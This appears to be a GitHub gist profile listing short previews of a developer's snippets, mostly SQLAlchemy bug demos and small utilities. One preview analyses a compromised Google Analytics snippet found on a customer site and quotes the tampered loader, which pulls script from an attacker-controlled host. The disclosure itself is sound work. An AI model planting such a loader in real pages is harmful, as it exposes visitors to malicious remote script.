Skip to content

Instantly share code, notes, and snippets.

View storborg's full-sized avatar

Scott Torborg storborg

View GitHub Profile
"""
test multiple layers sqlalchemy inheritance
e.g. Person -> Employee -> Engineer
"""
from sqlalchemy import MetaData, Column, ForeignKey, types, orm
from sqlalchemy.ext.declarative import declarative_base
#!/usr/bin/env python
import os
import os.path
import id3reader
import re
SRC_ROOT = '/Users/Shared/Music'
DST_ROOT = '/Users/Shared/Music-sorted'
"""
demonstration of an obscure edge case / bug(?) in sqlalchemy where
adding a from_self() to a query that's already been aliased once and
contains a labeled literal will fail.
summary
1 - from_self
2 - add a non-column entity like count()
3 - another from_self fails
#!/usr/bin/env python
"Run me to check if there's any new code that doesn't have test coverage."
import os
import os.path
import pickle
import re
import git
diff --git a/lib/sqlalchemy/ext/associationproxy.py b/lib/sqlalchemy/ext/associationproxy.py
index e126fe6..1862449 100644
--- a/lib/sqlalchemy/ext/associationproxy.py
+++ b/lib/sqlalchemy/ext/associationproxy.py
@@ -266,6 +266,33 @@ class AssociationProxy(object):
'no proxy_bulk_set supplied for custom '
'collection_class implementation')
+ def _proxy_filter_operator(name):
+ def _wrapped_operator(self, object):
"""
Demonstration of a filtering issue that was introduced in sqlalchemy r6748.
In the post-r6748 behavior, the filter param False is not processed before being
passed to the DBAPI. E.g. this is echoed:
SELECT foos.id AS foos_id, foos.data AS foos_data FROM foos WHERE foos.data = ?
(False,)
Instead of this (pre-r6748):
"""
Plot climb rate (in vertical ft/min) against grade. Break it up in 10-point
chunks?
"""
from datetime import datetime
from xml.dom.minidom import parse
def grouper(n, iterable):
/*
I found this on a customer site (for example) customersite.com. Looks like Google Analytics tracking code right?
<script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://customersite.com" : "http://www.customersite.com"); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); var test = unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"); </script> <script type="text/javascript"> try{ var pageTracker = _gat._getTracker("UA-xxxxxx-x"); pageTracker._trackPageview(); } catch(err) {}</script>
Somehow my customer had been tricked into changing: "https://" : "http://" to: "https://customersite.com" : "http://www.customersite.com"
This makes the JavaScript called from http://www.customersite.comgoogle-analytics.com which then redirects to dxwebhost.com/l.js for the JavaScript. It looks like JavaScript file then uses a CSS vulnerability to lo
<?php
/**
* Queue:
* Manages the flow to the web servers on high traffic event sales
* by placing customers into a line and then redirecting them to the
* web app serves as space is opened for trans processing
*
* @author Marc Urbaitel <[email protected]>
* @copyright In Ticketing
*/
import asyncore
import asynchat
import socket
class TalkHandler(asynchat.async_chat):
def __init__(self, server, conn, name):
asynchat.async_chat.__init__(self, conn)
self.name = name
self.server = server